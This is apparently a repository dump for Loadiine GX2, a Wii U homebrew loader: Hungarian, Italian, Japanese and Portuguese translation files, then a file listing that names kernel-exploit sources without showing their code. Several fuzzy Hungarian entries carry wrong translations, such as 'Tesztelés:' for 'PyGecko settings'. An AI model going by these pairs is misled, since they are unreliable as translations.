"Language-Team: Cava\n"
"Language: magyar\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Hivatalos Oldal:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Kódolás:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "Kinézet:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Néhány srác, aki nem akarja, hogy meg legyen nevezve."
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Tesztelés:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight és még sokan mások"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Társadalmi Jelenlét:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Ennek alapján készült:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 Golden45-től és Dimok-tól"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Hatalmas köszönet:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar-nak a GameTDB miatt és a borítókért / lemezek képeiért"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1-nek a kernel exploitért"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Az egész libwiiu csapatnak és a közreműködőknek."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Megosztott mód"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Indító Mód"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid "<Settings Default>"
msgstr "Tesztelés:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Ki"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "Be"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Kör-körös ikonok"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Rácsnézet"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Kör-körös borító"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Háttér testreszabása"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Grafikus felület"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Játéknézet választó"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Log szerver és IP port beállítása"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Játék útvonalának testreszabása"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Játék mentés útvonalának testreszabása"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Betöltő"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Mentés mód beállítása"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Játék"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Indítási mód kiválaszatása"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Log szerver vezérlése"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Köszönet"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Köszönet az összes hozzájárulónak"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Játék nézet TV-n"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Játék nézet a GamePaden"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Játék elérési helye"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Játék mentési helye"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Játék mentési módja"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Log szerver vezérlése"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Tesztelés:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Art Atelier Mód"
#~ msgid "Shared Mode"
#~ msgstr "Megosztott mód"
#~ msgid "Unique Mode"
#~ msgstr "Egyedi Mód"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii készítő mód"
#~ msgid "Smash Bros Mode"
#~ msgstr "Smash Bros Mód"
#~ msgid "Karaoke Mode"
#~ msgstr "Karaoke Mód"
#~ msgid "Log Server IP"
#~ msgstr "Log szerver IP"
================================================
FILE: languages/italian.lang
================================================
# Loadiine GX2 language source file.
# italian.lang - vx.x
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: Student\n"
"Language-Team: Student\n"
"Language: Italiano\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Sito Ufficiale"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programmazione"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Qualcuno che non vuole essere nominato"
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr ""
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr ""
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Presenza Sociale"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basato su"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 creato da Golden45 e Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Un enorme grazie a"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar per GameTDB e per l'hosting sia delle copertine che delle scansioni dei dischi"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 per il suo kernel exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Tutto il team libwiiu ed i suoi contributors."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Modalità Condivisa"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Modalità di Avvio"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
msgid "<Settings Default>"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr ""
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr ""
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr ""
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carosello di Icone"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Griglia"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carosello di Copertina"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Personalizza Sfondo"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Interfaccia Grafica (GUI)"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Modalità di Visualizzazione Giochi"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Regola IP del server log e porta"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Personalizza Percorso Cartella Giochi"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Personalizza Percorso Salvataggi"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Imposta Modalità Salvataggio"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Gioco"
#: src/menu/SettingsMenu.cpp:54
msgid "HID settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Seleziona Modalità di Avvio"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Log Controllo Server"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Crediti"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Ringraziamenti a tutti i contributors"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Vista TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Vista DRC (gamepad)"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Percorso Gioco"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Percorso Slavataggio"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Modalità Salvataggio"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Log Controllo Server"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr ""
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Modalità Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Modalità Condivisa"
#~ msgid "Unique Mode"
#~ msgstr "Modalità Unica"
#~ msgid "Mii Maker Mode"
#~ msgstr "Modalità Mii Maker"
#~ msgid "Smash Bros Mode"
#~ msgstr "Modalità Smash Bros"
#~ msgid "Karaoke Mode"
#~ msgstr "Modalità Karaoke"
#~ msgid "Log Server IP"
#~ msgstr "Log IP Server"
================================================
FILE: languages/japanese.lang
================================================
# Loadiine GX2 language source file.
# japanese.lang - v0.1
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: Glitch\n"
"Language-Team: Glitch\n"
"Language: Japanese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "公式サイト"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "コード:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "設計:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "名前言われたくないやつ."
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "テストした人:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight などなど"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "社会的存在感:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "源:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Golden45とDimokのLoadiine v4.0"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "本当にありがとう:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "カバーとディスク画像ホスティング&GameTDBのlustarさん"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "カーネルエクスプロイト作ったのMarionumber1さん"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "libwiiuチームのみんなと協力者がやりましたのみんな."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "別セーブ:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "DLC使用可能:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "更新フォルダ"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "セーブモード"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "起動モード"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid "<Settings Default>"
msgstr "<デフォルト設定>"
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "ゲームの設定を保存する!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "オフ"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "オン"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "アイコンカルーセル"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "グリッドビュー"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "カバーカルーセル"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "背景のカスタマイズ"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "ゲーム表示の設定"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "ログサーバーのIPとポートを設定"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "ゲームパス変更"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "セーブパス変更"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "ローダー"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "セーブモードの設定"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "ゲーム"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "HID設定"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "起動方法を選んで"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "ログサーバー管理"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "Padconの設定"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "PyGeckoの設定"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "関与した人々"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "協力者を称賛する"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "テレビに映る"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "DRCに映る"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "ゲームの設定を表示する"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "ホストIP"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "ゲームパス"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "セーブパス"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "セーブモード"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "ログサーバー管理"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "PyGeckoの設定"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "絵心教室アトリエモード"
#~ msgid "Shared Mode"
#~ msgstr "共有モード"
#~ msgid "Unique Mode"
#~ msgstr "特有モード"
#~ msgid "Mii Maker Mode"
#~ msgstr "Miiスタジオモード"
#~ msgid "Smash Bros Mode"
#~ msgstr "スマブラモード"
#~ msgid "Karaoke Mode"
#~ msgstr "カラオケモード"
================================================
FILE: languages/pt_BR.lang
================================================
# Loadiine GX2 language source file.
# pt_BR.lang - v0.2
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: AndréFranco\n"
"Language-Team: AndréFranco\n"
"Language: Português(Brasil)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Site Oficial:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programação:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "Design:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Um cara que não quis ser identificado"
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Testadores:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight e muitos mais"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Representante nas redes:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Baseado em:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine V4.0 por Gol
gitextract_pe69zl1c/
├── .gitignore
├── .gitmodules
├── .travis.yml
├── LICENSE
├── Makefile
├── Readme.md
├── data/
│ └── sounds/
│ ├── bgMusic.ogg
│ └── credits_music.ogg
├── filelist.sh
├── gitrev.sh
├── installer/
│ ├── Makefile
│ ├── coreinit.h
│ ├── crt0.S
│ ├── elf_abi.h
│ ├── kernel_patches.S
│ ├── kexploit.c
│ ├── kexploit.h
│ ├── launcher.c
│ ├── logger.c
│ ├── logger.h
│ ├── socket.h
│ ├── structs.h
│ └── types.h
├── languages/
│ ├── chinese.lang
│ ├── chinese_tr.lang
│ ├── english.lang
│ ├── french.lang
│ ├── german.lang
│ ├── hungarian.lang
│ ├── italian.lang
│ ├── japanese.lang
│ ├── pt_BR.lang
│ ├── pt_PT.lang
│ └── spanish.lang
├── meta/
│ └── meta.xml
├── other/
│ ├── devkitPPCupdatePPCr29.pl
│ └── devkitProUpdatePPCr29.ini
├── sd_loader/
│ ├── Makefile
│ └── src/
│ ├── elf_abi.h
│ ├── entry.c
│ ├── kernel_hooks.S
│ └── link.ld
├── server/
│ └── src/
│ ├── Program.cs
│ ├── Properties/
│ │ └── AssemblyInfo.cs
│ ├── System/
│ │ └── IO/
│ │ ├── EndianBinaryReader.cs
│ │ └── EndianBinaryWriter.cs
│ ├── app.config
│ ├── bin/
│ │ └── Debug/
│ │ ├── loadiine_server.exe.config
│ │ ├── loadiine_server.pdb
│ │ ├── loadiine_server.vshost.exe.config
│ │ └── loadiine_server.vshost.exe.manifest
│ ├── loadiine_server.csproj
│ ├── loadiine_server.sln
│ ├── loadiine_server.suo
│ └── obj/
│ └── x86/
│ └── Debug/
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── ResolveAssemblyReference.cache
│ ├── cafiine_server.csproj.FileListAbsolute.txt
│ ├── loadiine_server.csproj.FileListAbsolute.txt
│ └── loadiine_server.pdb
├── src/
│ ├── Application.cpp
│ ├── Application.h
│ ├── common/
│ │ ├── common.h
│ │ ├── kernel_defs.h
│ │ ├── loader_defs.h
│ │ ├── os_defs.h
│ │ ├── retain_vars.c
│ │ ├── retain_vars.h
│ │ └── types.h
│ ├── entry.cpp
│ ├── fs/
│ │ ├── CFile.cpp
│ │ ├── CFile.hpp
│ │ ├── DirList.cpp
│ │ ├── DirList.h
│ │ ├── fs_utils.c
│ │ ├── fs_utils.h
│ │ ├── sd_fat_devoptab.c
│ │ └── sd_fat_devoptab.h
│ ├── game/
│ │ ├── GameLauncher.cpp
│ │ ├── GameLauncher.h
│ │ ├── GameList.cpp
│ │ ├── GameList.h
│ │ ├── memory_area_table.c
│ │ ├── memory_area_table.h
│ │ ├── rpx_rpl_table.c
│ │ └── rpx_rpl_table.h
│ ├── gitrev.h
│ ├── gui/
│ │ ├── FreeTypeGX.cpp
│ │ ├── FreeTypeGX.h
│ │ ├── GameBgImage.cpp
│ │ ├── GameBgImage.h
│ │ ├── GameIcon.cpp
│ │ ├── GameIcon.h
│ │ ├── GameIconModel.h
│ │ ├── GridBackground.cpp
│ │ ├── GridBackground.h
│ │ ├── Gui.h
│ │ ├── GuiButton.cpp
│ │ ├── GuiButton.h
│ │ ├── GuiCheckBox.cpp
│ │ ├── GuiCheckBox.h
│ │ ├── GuiConfigurationScreen.h
│ │ ├── GuiController.h
│ │ ├── GuiDragListener.cpp
│ │ ├── GuiDragListener.h
│ │ ├── GuiElement.cpp
│ │ ├── GuiElement.h
│ │ ├── GuiFrame.cpp
│ │ ├── GuiFrame.h
│ │ ├── GuiGameBrowser.h
│ │ ├── GuiGameCarousel.cpp
│ │ ├── GuiGameCarousel.h
│ │ ├── GuiIconCarousel.cpp
│ │ ├── GuiIconCarousel.h
│ │ ├── GuiIconGrid.cpp
│ │ ├── GuiIconGrid.h
│ │ ├── GuiImage.cpp
│ │ ├── GuiImage.h
│ │ ├── GuiImageAsync.cpp
│ │ ├── GuiImageAsync.h
│ │ ├── GuiImageData.cpp
│ │ ├── GuiImageData.h
│ │ ├── GuiParticleImage.cpp
│ │ ├── GuiParticleImage.h
│ │ ├── GuiSelectBox.cpp
│ │ ├── GuiSelectBox.h
│ │ ├── GuiSound.cpp
│ │ ├── GuiSound.h
│ │ ├── GuiSwitch.cpp
│ │ ├── GuiSwitch.h
│ │ ├── GuiText.cpp
│ │ ├── GuiText.h
│ │ ├── GuiToggle.cpp
│ │ ├── GuiToggle.h
│ │ ├── GuiTrigger.cpp
│ │ ├── GuiTrigger.h
│ │ ├── Scrollbar.cpp
│ │ ├── Scrollbar.h
│ │ ├── VPadController.h
│ │ ├── WPadController.h
│ │ └── sigslot.h
│ ├── kernel/
│ │ ├── kernel_functions.c
│ │ ├── kernel_functions.h
│ │ ├── kernel_hooks.S
│ │ ├── syscalls.c
│ │ ├── syscalls.h
│ │ └── syscalls_asm.S
│ ├── language/
│ │ ├── gettext.cpp
│ │ └── gettext.h
│ ├── link.ld
│ ├── main.cpp
│ ├── main.h
│ ├── menu/
│ │ ├── ButtonChoiceMenu.cpp
│ │ ├── ButtonChoiceMenu.h
│ │ ├── CreditsMenu.cpp
│ │ ├── CreditsMenu.h
│ │ ├── GameLauncherMenu.cpp
│ │ ├── GameLauncherMenu.h
│ │ ├── KeyPadMenu.cpp
│ │ ├── KeyPadMenu.h
│ │ ├── MainDrcButtonsFrame.h
│ │ ├── MainWindow.cpp
│ │ ├── MainWindow.h
│ │ ├── ProgressWindow.cpp
│ │ ├── ProgressWindow.h
│ │ ├── SettingsCategoryMenu.cpp
│ │ ├── SettingsCategoryMenu.h
│ │ ├── SettingsMenu.cpp
│ │ └── SettingsMenu.h
│ ├── network/
│ │ ├── FileDownloader.cpp
│ │ ├── FileDownloader.h
│ │ ├── GameImageDownloader.cpp
│ │ └── GameImageDownloader.h
│ ├── patcher/
│ │ ├── aoc_patcher.cpp
│ │ ├── aoc_patcher.h
│ │ ├── cpp_to_c_util.cpp
│ │ ├── cpp_to_c_util.h
│ │ ├── extra_log_patcher.cpp
│ │ ├── extra_log_patcher.h
│ │ ├── fs_logger.c
│ │ ├── fs_logger.h
│ │ ├── fs_patcher.cpp
│ │ ├── fs_patcher.h
│ │ ├── fs_sd_patcher.cpp
│ │ ├── fs_sd_patcher.h
│ │ ├── hid_controller_function_patcher.cpp
│ │ ├── hid_controller_function_patcher.h
│ │ ├── patcher_util.cpp
│ │ ├── patcher_util.h
│ │ ├── pygecko.c
│ │ ├── pygecko.h
│ │ ├── rplrpx_patcher.cpp
│ │ └── rplrpx_patcher.h
│ ├── resources/
│ │ ├── Resources.cpp
│ │ ├── Resources.h
│ │ └── filelist.h
│ ├── settings/
│ │ ├── CSettings.cpp
│ │ ├── CSettings.h
│ │ ├── CSettingsGame.cpp
│ │ ├── CSettingsGame.h
│ │ ├── SettingsDefs.h
│ │ ├── SettingsEnums.h
│ │ └── SettingsGameDefs.h
│ ├── sounds/
│ │ ├── BufferCircle.cpp
│ │ ├── BufferCircle.hpp
│ │ ├── Mp3Decoder.cpp
│ │ ├── Mp3Decoder.hpp
│ │ ├── OggDecoder.cpp
│ │ ├── OggDecoder.hpp
│ │ ├── SoundDecoder.cpp
│ │ ├── SoundDecoder.hpp
│ │ ├── SoundHandler.cpp
│ │ ├── SoundHandler.hpp
│ │ ├── Voice.h
│ │ ├── WavDecoder.cpp
│ │ └── WavDecoder.hpp
│ ├── system/
│ │ ├── AsyncDeleter.cpp
│ │ ├── AsyncDeleter.h
│ │ ├── CMutex.h
│ │ ├── CThread.h
│ │ ├── exception_handler.c
│ │ ├── exception_handler.h
│ │ ├── memory.c
│ │ └── memory.h
│ ├── utils/
│ │ ├── Directory.cpp
│ │ ├── Directory.h
│ │ ├── FileReplacer.cpp
│ │ ├── FileReplacer.h
│ │ ├── StringTools.cpp
│ │ ├── StringTools.h
│ │ ├── function_patcher.cpp
│ │ ├── function_patcher.h
│ │ ├── logger.c
│ │ ├── logger.h
│ │ ├── strings.c
│ │ ├── strings.h
│ │ ├── utils.c
│ │ ├── utils.h
│ │ ├── xml.c
│ │ └── xml.h
│ └── video/
│ ├── CVideo.cpp
│ ├── CVideo.h
│ ├── CursorDrawer.cpp
│ ├── CursorDrawer.h
│ └── shaders/
│ ├── ColorShader.cpp
│ ├── ColorShader.h
│ ├── FXAAShader.cpp
│ ├── FXAAShader.h
│ ├── FetchShader.h
│ ├── PixelShader.h
│ ├── Shader.h
│ ├── Shader3D.cpp
│ ├── Shader3D.h
│ ├── ShaderFractalColor.cpp
│ ├── ShaderFractalColor.h
│ ├── Texture2DShader.cpp
│ ├── Texture2DShader.h
│ └── VertexShader.h
├── udp_debug_reader/
│ ├── Makefile
│ ├── UdpDebugReader
│ ├── UdpDebugReader.cbp
│ ├── UdpDebugReader.depend
│ ├── UdpDebugReader.layout
│ ├── doxygen/
│ │ └── doxyfile
│ └── source/
│ ├── Input.c
│ ├── Input.h
│ ├── main.c
│ ├── network.c
│ ├── network.h
│ └── winsock/
│ ├── libwsock32.a
│ └── winsock.h
├── updatelang.sh
└── www/
